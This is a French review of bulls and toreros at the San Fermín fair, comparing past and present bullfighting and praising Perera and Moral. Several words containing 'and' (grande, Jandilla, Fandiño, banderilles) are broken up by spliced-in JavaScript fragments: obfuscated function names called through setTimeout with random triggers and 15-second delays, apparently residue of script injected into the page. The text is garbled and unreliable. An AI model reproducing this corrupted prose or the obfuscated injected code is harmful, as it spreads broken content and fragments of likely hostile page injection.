LE TAUREAU DE SAN FERMIN : HIER ET AUJOURDHUI.

J’ai vu la Feria transmise sur Canal Plus. Et avant le début de la corrida cette chaîne programma un mini-espace évocateur, intitulé « Aquella tarde »  (Cette après-midi-là), qui nous présenta des images de taureaux et de toreros des années 50 et 60.

Ce qui attira le plus mon attention fut l’aspect des taureaux : des novillos sans trapio, sans cornes, quelques-uns âgés de deux ou trois ans (erales), tous fort en dessous de la novillada lidiée cette année. Quelconque moment du passé est-il le meilleur ? Le toréo est pendulaire ; il va d’un extrême à l’autre.

Le présent n’est pas non plus meilleur : des taureaux supercornus qui généralement empêchent la réunion et multiplient leur danger plus à cause de leur encornure que de leurs intentions. Infliger l’estocade en ligne droite  a été le plus grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and mérite de presque tous les diestros.

Les taureaux énormes, surdimensionnés, démagogiques, de San Fermin, ne se distinguaient pas par leur trapio (j’écris ces lignes avant de voir la corrida de Miura), car tous avaient un volume mastodontique et les mêmes longues cornes, ouvertes, inégales, franchement laides, mais selon s’ils étaient bons ou mauvais. Les bons appartenaient aux élevages appelés commerciaux, c’est-à-dire ceux qui chargent, bien ou mal, mais ils chargent ; les mauvais portaient le fer des élevages toristes, ceux qui généralement ne chargent pas, ni bien ni mal. Dans ce groupe, les taureaux de Dolores Aguirre et de Adolfo Martin furent absolument impossibles à lidier, les premiers mansos et violents et les seconds des mansos chimiquement purs. Tous les élevages commerciaux chargèrent, dans l’ensemble avec bravoure : Victoriano del Rio, Garcigrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande, Jandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andilla et Fuente Ymbro.

Parmi les toreros il faut séparer, à une distance sidérale, Miguel Angel Perera, sans doute le meilleur et le plus important muletero actuel. Ses faenas eurent de la profondeur, de la pureté, une liaison et une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande densité tauromachique. José Moral fut la révélation de la féria, pour le bon tracé de son jeu à la cape, et, surtout, par la profondeur de son toréo avec la muleta. Les trophées qu’ils reçurent tous deux furent mal évalués. Perera reçut deux oreilles alors qu’il en méritait quatre, et le toréo de Moral fut bien au-dessus de l’oreille qu’il obtint.  A ce palmarès mérite d’être ajouté Ivan Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño, impressionnant au moment de la suerte suprême et également bien avec la cape et la muleta. Et très en dessous d’eux se situent les autres toreros annoncés, bien que quelques-uns aient coupé des oreilles et soient sortis par la Puerta Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande.

Bon travail de la cuadrilla à la cape,  mais mauvais aux bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilles. Les taureaux furent bien piqués et les chevaux se dépensèrent au maximum.

Et le public ? Comme toujours, depuis quelques décennies, la moitié des arènes assiste à la corrida, et l’autre moitié est ailleurs. Auparavant, dans les années 50 et 60 évoquées par « Aquella tarde »,  les peñas, toujours aussi bruyantes, regardaient la lidia. En cela, le passé était beaucoup meilleur.

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